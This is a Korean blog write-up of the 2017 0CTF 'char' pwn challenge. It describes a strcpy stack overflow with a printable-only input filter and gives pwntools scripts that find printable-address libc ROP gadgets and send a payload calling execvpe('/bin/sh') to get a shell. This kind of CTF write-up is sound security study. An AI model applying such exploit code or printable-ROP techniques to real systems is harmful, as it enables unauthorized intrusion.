튜기's blogggg

2017 0CTF char

by St1tch

prob

category : pwn 
score : 130

Challenge

strcpy로 원하는 문자열을 충분히 복사를 할 수 있고, canary가 없기 때문에 바로 원하는 값들을 스택에 덮을 수 있다.

대신 입력받은 값들을 검증을 하는데 printable한 값들만 입력을 할 수 있다.

mmap을 통해서 적당히 printable한 주소부분에 라이브러리를 올려놓기 때문에, 그 부분에서 printable한 가젯들을 이용해서 쉘을 실행시킬 수 있었다.

Find printable addr

printalbe한 주소에 있는 함수들, 값, rop가젯들을 따로 뽑아서 시간을 좀 절약했다. 원샷가젯 비슷한 걸 찾아서 함수의 주소들은 필요가 없었다.


from pwn import *

#ROPgadget --binary libc.so > rop

context.log_level = 'warn'
libc = ELF('libc.so')
offset = 0x5555e000

check = lambda x : all([32 <= int(i.encode('hex'), 16) <= 126 for i in hex(x)[2:].decode('hex')])

def func():
    out = ''
    for k in libc.symbols.keys():
        if check(offset+libc.symbols[k]):
            out += k + '\n'
    open('function_list', 'wb').write(out)

def find_value(target):
    for idx in list(libc.search(target)):
        if check(offset+idx):
            print 'find!', hex(offset+idx)
            break

def find_gadget():
    dat = open('rop', 'rb').read().split('\n')[2:-4]
    d = ''
    for tmp in dat:
        idx = eval(tmp.split()[0])
        if check(offset+idx):
            d += tmp+'\n'
    open('gadget_list', 'wb').write(d)


if __name__ == '__main__':
    func()
    ret = '\xc3'
    #find_value(ret)
    find_gadget()

Exploit


from pwn import *

offset = 0x5555e000
execvpe = 0xb8f34
fake_ebp = 0x55616760
ret = 0x55563844
addeax = 0xc7352

def solver() :
    pay = 'a'*32
    pay += p32(offset+addeax)
    pay += 'abcd'*3 #ebx, esi, edi
    pay += p32(fake_ebp)#ebp
    pay += p32(offset+execvpe)
    pay += 'x' * (0x108-len(pay))
    pay += '/bin/sh'
    s.sendline(pay)

    s.interactive()

if __name__ == '__main__' :
    context.log_level = 'warn'
    if len(sys.argv)==1:
        s = process('./char')
        print util.proc.pidof(s)
        pause()
    else :
        s = remote('202.120.7.214', 23222)

    solver()

Result



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기